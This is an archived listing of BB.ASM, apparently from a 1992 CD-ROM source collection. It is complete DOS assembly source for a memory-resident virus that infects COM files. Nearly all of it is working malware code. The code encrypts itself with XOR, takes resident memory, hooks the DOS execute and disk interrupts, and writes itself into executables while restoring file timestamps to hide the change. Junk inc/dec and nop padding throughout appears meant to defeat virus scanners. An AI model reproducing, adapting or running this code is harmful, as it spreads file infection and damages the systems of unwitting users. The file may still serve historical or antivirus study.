home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / BB.ASM < prev    next >
Assembly Source File  |  1992-02-19  |  14KB  |  567 lines

  1.  
  2. code          segment
  3.           assume cs:code,ds:code
  4.           .radix 16
  5.           org  100
  6. start:
  7.           push word ptr cs:[table+2]
  8.           push cs
  9.     inc ax
  10.     dec ax
  11.           pop  ds
  12.           jmp  word ptr cs:[table]      ;go to module 1
  13.  
  14. curofs          dw   ?
  15. files          db   0               ;number of infected files from this copy
  16. fsize          dw   2               ;size of infected file
  17. ftime          dw     ?
  18. fdate          dw     ?
  19. stdint21      dd     ?
  20. oldint13      dd     ?
  21. oldint21      dd     ?
  22. oldint24      dd     ?
  23.  
  24. ;------------- TABLE WITH MODULE PARAMETERS --------------------
  25. table:
  26.           dw   offset false_mod_1 ;00
  27.           dw   offset mod_2       ;02
  28.           dw   offset mod_3       ;04
  29.           dw   offset mod_4       ;06           ;offset modules
  30.           dw   offset mod_5       ;08
  31.           dw   offset mod_6       ;0a
  32.           dw   offset mod_7       ;0c
  33.           dw   offset mod_8       ;0e
  34.  
  35.           dw   offset mod_2 - offset mod_1;10
  36.           dw   offset mod_3 - offset mod_2;12
  37.           dw   offset mod_4 - offset mod_3;14
  38.           dw   offset mod_5 - offset mod_4;16
  39.           dw   offset mod_6 - offset mod_5;18    ;size modules
  40.           dw   offset mod_7 - offset mod_6;1a
  41.           dw   offset mod_8 - offset mod_7;1c
  42.           dw   offset myend - offset mod_8;1e
  43.  
  44.  
  45. ;------------- MODULE - 1 - CODER/DECODER ----------------------
  46. mod_1:
  47.           mov  bx,offset table+2   ;first module to working (module 2)
  48.           mov  cx,6            ;number of modules to working
  49. mod_1_lp1:
  50.     inc ax
  51.     dec ax
  52.           cmp  bx,offset table+0a
  53.           jne  mod_1_cont
  54.           add  bx,2
  55. mod_1_cont:
  56.           push bx
  57.           push cx
  58.     inc ax
  59.     inc ax
  60.           mov  ax,[bx]           ;ax - offset module
  61.           mov  cx,[bx+10]           ;cx - size of module
  62.           mov  bx,ax
  63. mod_1_lp2:
  64.     inc ax
  65.     dec ax  
  66.         xor  byte ptr [bx],al
  67.           inc  bx
  68.           loop mod_1_lp2
  69.           pop  cx
  70.           pop  bx
  71.     inc ax
  72.     dec ax
  73.           add  bx,2
  74.           loop mod_1_lp1
  75.           ret
  76.  
  77. ;------------- MODULE - 2 - MUTATION TO MEMORY -----------------
  78. mod_2:
  79.              ;instalation check
  80.  
  81.           mov    es,cs:[2]                   ;memory size
  82.           mov    di,100
  83.           mov    si,100
  84.     inc bx
  85.     dec bx
  86.           mov    cx,0bh
  87.           repe   cmpsb
  88.           jne    mod_2_install               ;jump if not install
  89.           jmp    word ptr cs:[table+06]  ;if install, jump to module 4
  90.  
  91.     inc di
  92.     dec di
  93. mod_2_install:
  94.              ;instalation
  95.  
  96.           mov    ax,cs
  97.           dec    ax
  98.           mov    ds,ax
  99.     inc ax
  100.     dec ax
  101.           cmp    byte ptr ds:[0],'Z'
  102.           je     mod_2_cont
  103.  
  104.     inc ax
  105.     dec ax
  106.           jmp    word ptr cs:[table+6]        ;if no last MCB - go to mod4
  107.  
  108. mod_2_cont:
  109.           sub    word ptr ds:[3],0c0
  110.           mov    ax,es
  111.           sub    ax,0c0
  112.           mov    es,ax
  113.           mov    word ptr ds:[12],ax       ;decrement memory size with 2K
  114.           push   cs
  115.           pop    ds
  116.  
  117. mod_2_mut:
  118.           mov  byte ptr cs:files,0
  119.  
  120.           mov  di,100
  121.           mov  cx,offset mod_1-100
  122.           mov  si,100
  123.           rep  movsb     ;write table to new memory
  124.  
  125.           mov  bx,word ptr cs:[table]
  126.     inc si
  127.     dec si
  128.           add  bx,offset mod_1_lp2-offset mod_1+1
  129.           xor  byte ptr [bx],18               ;change code method
  130.  
  131.           mov  cx,8
  132.           mov  word ptr curofs,offset mod_1
  133. mod_2_lp1:
  134.           push cx
  135.           call mod_2_rnd ;generate random module addres
  136.           push bx         ;addres in table returned from mod_2_rnd
  137.           mov  ax,[bx]   ;offset module
  138.           push ax
  139.           add  bx,10
  140.           mov  cx,[bx]   ;length of module
  141.           pop  si
  142.     inc bx
  143.           pop  bx
  144.           xchg di,curofs
  145.           mov  word ptr es:[bx],di ;change module offset in table
  146.           rep  movsb           ;copy module to new memory
  147.           xchg di,curofs           ;change current offset in new memory
  148.           mov  ax,8000
  149.           or   word ptr [bx],ax    ;mark module - used
  150.           pop  cx
  151.           loop mod_2_lp1
  152.     inc cl
  153.           mov  cl,8
  154.           not  ax
  155.           mov  bx,offset table
  156. mod_2_lp2:
  157.           and  word ptr [bx],ax    ;unmark all modules
  158.           add  bx,2
  159.           loop mod_2_lp2
  160.  
  161.           jmp  word ptr cs:[table+4]  ;go to module 3
  162.  
  163. mod_2_rnd:
  164.           push cx
  165.           push es
  166.           xor  cx,cx
  167.           mov  es,cx
  168. mod_2_lp3:
  169.           mov  bx,es:[46c]
  170.           db 81,0e3,07,00  ;and bx,7
  171.           shl  bx,1
  172.           add  bx,offset table
  173.           test [bx],8000
  174.           jnz  mod_2_lp3
  175.           pop  es
  176.           pop  cx
  177.           ret
  178.  
  179. ;------------- MODULE - 3 - SET INTERRUPT VECTORS ---------------
  180. mod_3:
  181.           xor    ax,ax
  182.           mov    ds,ax
  183.  
  184.           mov    ax,ds:[4*21]
  185.           mov    word ptr es:[oldint21],ax
  186.     dec ax
  187.           mov    ax,ds:[4*21+2]
  188.           mov    word ptr es:[oldint21+2],ax
  189.  
  190.           mov    ah,31
  191.     dec ah
  192.           int    21
  193.           cmp    ax,1e03
  194.           jne    mod_3_getvec
  195.  
  196.           mov    word ptr es:[stdint21],1460
  197.           mov    ax,1202
  198.           push   ds
  199.     inc ax
  200.           int    2f
  201.           mov    word ptr es:[stdint21+2],ds
  202.           pop    ds
  203.           jmp    mod_3_setvec
  204.  
  205. mod_3_getvec:
  206.           mov    ax,ds:[4*21]
  207.           mov    word ptr es:[stdint21],ax
  208.           mov    ax,ds:[4*21+2]
  209.           mov    word ptr es:[stdint21+2],ax
  210.  
  211. mod_3_setvec:
  212.           cli
  213.           mov    ax,word ptr es:[table+0c]
  214.           mov    ds:[4*21],ax
  215.     add ax,13
  216.           mov    ax,es
  217.           mov    ds:[4*21+2],ax
  218.           sti
  219.  
  220.           mov    cx,es
  221.           mov    ah,13             ;
  222.           int    2f              ;
  223.           push   es              ;
  224.           mov    es,cx             ;
  225.           mov    word ptr es:[oldint13],dx     ; get standart int13 addres
  226.           mov    word ptr es:[oldint13+2],ds ;
  227.     inc ax
  228.           pop    es              ;
  229.     dec ax
  230.           int    2f              ;
  231.  
  232.           jmp    word ptr cs:[table+06]              ;go to module 4
  233.  
  234. ;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ----
  235. mod_4:
  236.           push   cs
  237.           push   cs
  238.           pop    ds
  239.           pop    es
  240.           mov    si,word ptr cs:[table+06]
  241.           add    si,offset mod_4_cont - offset mod_4
  242.     inc di
  243.           mov    di,cs:fsize
  244.           add    di,offset myend+1
  245.           push   di
  246.           mov    cx,offset mod_5 - offset mod_4_cont
  247.           cld
  248.           rep    movsb
  249.           ret
  250. mod_4_cont:
  251.           mov    si,cs:fsize
  252.           add    si,100
  253.  
  254.           cmp    si,offset myend+1
  255.           jnc    mod_4_cnt
  256.           mov    si,offset myend+1
  257. mod_4_cnt:
  258.           mov    di,100
  259.           mov    cx,offset myend-100
  260.           rep    movsb
  261.           mov    ax,101   ;
  262.     dec ax
  263.           push   ax       ; jmp 100
  264.           ret          ;
  265.  
  266. ;------------- MODULE - 5 - SPECIAL PROGRAM ---------------------
  267. mod_5:
  268.           xor    di,di
  269.           mov    ds,di
  270.           cli
  271.           mov    di,word ptr cs:[oldint21]
  272.           mov    ds:[4*21],di
  273.     inc di
  274.           mov    di,word ptr cs:[oldint21+2]
  275.           mov    ds:[4*21+2],di
  276.           sti
  277.  
  278.           ret
  279.  
  280.           db     'Pile of shit   '
  281. ;------------- MODULE - 6 - INT 24 HEADER -----------------------
  282. mod_6:
  283.           mov    al,3
  284.           iret
  285.           db     'The Worthless Piece of shit vi-rus that is a joke  ',0
  286.  
  287. ;------------- MODULE - 7 - INT 21 HEADER -----------------------
  288. mod_7:
  289.           push   bx
  290.           push   si
  291.           push   di
  292.           push   es
  293.           push   ax
  294.  
  295.           cmp    ax,4b00
  296.           je     mod_7_begin
  297.           jmp    mod_7_exit
  298. mod_7_begin:
  299.           push   ds
  300.           push   cs                    ;
  301.           pop    es                    ;
  302.           xor    ax,ax                   ;
  303.           mov    ds,ax                   ;
  304.     mov si,69
  305.           mov    si,4*24                   ;
  306.           mov    di,offset oldint24            ;
  307.           movsw                       ;   change int24 vector
  308.           movsw                       ;
  309.           mov    ax,word ptr cs:[table+0a]           ;
  310.           cli
  311.           mov    ds:[4*24],ax               ;
  312.     mov ax,69
  313.           mov    ax,cs                   ;
  314.           mov    ds:[4*24+2],ax               ;
  315.           sti
  316.           pop    ds
  317.  
  318.           mov    ax,3d00                   ;
  319.           pushf                       ;
  320.           call   cs:oldint21               ;
  321.           jc     mod_7_ex                   ; open,infect,close file
  322.           mov    bx,ax                   ;
  323. mod_7_infect:                           ;
  324.           call   word ptr cs:[table+0e]           ;
  325.           pushf
  326.           mov    ah,3f
  327.     dec ah                   ;
  328.           pushf                       ;
  329.           call   cs:oldint21               ;
  330.           popf
  331.           jc     mod_7_ex
  332.  
  333.           push   ds              ;
  334.           cli                 ;
  335.           xor    ax,ax             ;
  336.           mov    ds,ax             ;
  337.           mov    ax,word ptr cs:[oldint13]     ;
  338.           xchg   ax,word ptr ds:[4*13]     ;
  339.           mov    word ptr cs:[oldint13],ax     ; exchange int13 vectors
  340.     mov ax,69
  341.           mov    ax,word ptr cs:[oldint13+2] ;
  342.           xchg   ax,word ptr ds:[4*13+2]     ;
  343.           mov    word ptr cs:[oldint13+2],ax ;
  344.           sti                 ;
  345.           pop    ds              ;
  346. mod_7_ex:
  347.           push   ds                    ;
  348.           xor    ax,ax                   ;
  349.           mov    ds,ax                   ;
  350.           mov    ax,word ptr cs:oldint24           ;
  351.           mov    ds:[4*24],ax               ;
  352.     mov ax,69
  353.           mov    ax,word ptr cs:oldint24+2           ; restore int24 vector
  354.           mov    ds:[4*24+2],ax               ;
  355.           pop    ds                    ;
  356.  
  357. mod_7_exit:
  358.           pop    ax
  359.           pop    es
  360.           pop    di
  361.           pop    si
  362.           pop    bx
  363.  
  364.           jmp    cs:oldint21
  365.  
  366. ;------------- MODULE - 8 - INFECTING (bx - file handle) --------
  367. mod_8:
  368.           push   cx
  369.           push   dx
  370.           push   ds
  371.           push   es
  372.           push   di
  373.           push   bp
  374.  
  375.           push   bx
  376.           mov    ax,1221
  377.     dec ax
  378.           int    2f
  379.           mov    bl,es:[di]
  380.           xor    bh,bh
  381.           mov    ax,1216
  382.           int    2f
  383.           pop    bx
  384.  
  385.           mov    ax,word ptr es:[di+11]
  386.           cmp    ax,0f000
  387.           jc     mod_8_c
  388.           jmp    mod_8_exit
  389.  
  390. mod_8_c:
  391.           mov    word ptr es:[di+2],2           ;open mode - R/W
  392.  
  393.     mov ax,69
  394.           mov    ax,es:[di+11]
  395.           mov    cs:fsize,ax           ; save file size
  396.  
  397.           mov    ax,word ptr es:[di+0dh]   ;
  398.  
  399.           mov    word ptr cs:[ftime],ax    ; save file date/time
  400.     mov ax,69
  401.           mov    ax,word ptr es:[di+0f]    ;
  402.           mov    word ptr cs:[fdate],ax    ;
  403.  
  404.           push   cs              ;
  405.           pop    ds              ;
  406.           mov    dx,offset myend+1         ;
  407.           mov    cx,offset myend-100     ; read first bytes
  408.           mov    ah,3f             ;
  409.           pushf
  410.     nop
  411.               call   cs:oldint21
  412.           jnc    mod_8_cnt
  413.           jmp    mod_8_exit
  414.  
  415. mod_8_cnt:
  416.           mov    bp,ax             ; ax - bytes read
  417.           mov    si,dx
  418.           mov    ax,'MZ'
  419.     nop   
  420.        cmp    ax,word ptr ds:[si]
  421.           jne    mod_8_nxtchk
  422.           jmp    mod_8_exit
  423. mod_8_nxtchk:
  424.           xchg   ah,al
  425.     nop
  426.           cmp    ax,ds:[si]
  427.           jne    mod_8_cnt2
  428.           jmp    mod_8_exit
  429.  
  430. mod_8_cnt2:
  431.           push   es
  432.           push   di
  433.           push   cs              ;
  434.     nop   
  435.        pop    es              ;
  436.           mov    si,100             ;
  437.           mov    di,dx             ; check for infected file
  438.     nop
  439.           mov    cx,0bh             ;
  440.           repe   cmpsb             ;
  441.  
  442.     nop    
  443.           pop    di
  444.           pop    es
  445.           jne    mod_8_cnt1          ;
  446.           jmp    mod_8_exit
  447. mod_8_cnt1:
  448.           mov    word ptr es:[di+15],0     ; fp:=0
  449.  
  450.           push   es
  451.           push   di
  452.           mov    si,word ptr cs:[table+0e]
  453.           add    si,offset mod_8_cont - offset mod_8
  454.           xor    di,di
  455.           push   cs
  456.     nop
  457.           pop    es
  458.           mov    cx,offset mod_8_cont_end - offset mod_8_cont
  459.           cld
  460.           rep    movsb
  461.           pop    di
  462.           pop    es
  463.  
  464.     nop
  465.           mov    si,word ptr cs:[table+0e]
  466.           add    si,offset mod_8_cont_end - offset mod_8
  467.           push   si
  468.           xor    si,si
  469.           push   si
  470.  
  471.           push   ds              ;
  472.           cli                 ;
  473.     nop
  474.           xor    ax,ax             ;
  475.           mov    ds,ax             ;
  476.           mov    ax,word ptr cs:[oldint13]     ;
  477.           xchg   ax,word ptr ds:[4*13]     ;
  478.           mov    word ptr cs:[oldint13],ax     ;
  479.     nop
  480.           mov    ax,word ptr cs:[oldint13+2] ; exchange int13 vectors
  481.           xchg   ax,word ptr ds:[4*13+2]     ;
  482.     nop  
  483.         mov    word ptr cs:[oldint13+2],ax ;
  484.           sti                 ;
  485.           pop    ds              ;
  486.  
  487.           ret
  488.  
  489. mod_8_cont:
  490.           push   bx
  491.     nop
  492.           call   word ptr cs:[table]     ; code virus
  493.           pop    bx
  494.  
  495.           mov    dx,100             ;
  496.           mov    ah,40             ; write code in begin
  497.           mov    cx,offset myend-0ff
  498.           pushf                 ;
  499.           call   cs:stdint21         ;
  500.  
  501.           pushf
  502.           push   bx
  503.     nop
  504.           call   word ptr cs:[table]     ; decode virus
  505.           pop    bx
  506.           popf
  507.           jnc    mod_8_cont1
  508.           pop    ax
  509.     nop
  510.           mov    ax,word ptr cs:[table+0e]
  511.           add    ax,offset mod_8_ext - offset mod_8
  512.           push   ax
  513.           ret
  514. mod_8_cont1:
  515.           mov    ax,es:[di+11]         ; fp:=end of file
  516.           mov    word ptr es:[di+15],ax     ;
  517.  
  518.           mov    dx,offset myend+1
  519.     nop
  520.           mov    cx,bp             ; bp - files read
  521.           mov    ah,40             ;
  522.           pushf                 ;
  523.           call   cs:stdint21         ; write in end of file
  524.  
  525.           ret
  526.  
  527. mod_8_cont_end:
  528.           mov    ax,5701     ;
  529.     nop
  530.           mov    cx,cs:ftime ;
  531.           mov    dx,cs:fdate ; restore file date/time
  532.           pushf         ;
  533.           call   cs:oldint21 ;
  534.  
  535.           inc    cs:files
  536.           cmp    cs:files,0a
  537.     nop
  538.           jne    mod_8_ext
  539.           call   word ptr cs:[table+8]
  540.           jmp    short mod_8_ext
  541. mod_8_exit:
  542.           stc
  543.           jmp    short mod_8_ex
  544. mod_8_ext:
  545.           clc
  546. mod_8_ex:
  547.           pop    bp
  548.           pop    di
  549.           pop    es
  550.           pop    ds
  551.           pop    dx
  552.           pop    cx
  553.           ret
  554.  
  555. ;---------------------------------------------------------------
  556.  
  557. myend          db   0
  558.  
  559.           int    20            ;code of infected file
  560.  
  561. false_mod_1:
  562.           mov     word ptr cs:[table],offset mod_1
  563.           ret
  564.  
  565. code          ends
  566.           end  start
  567.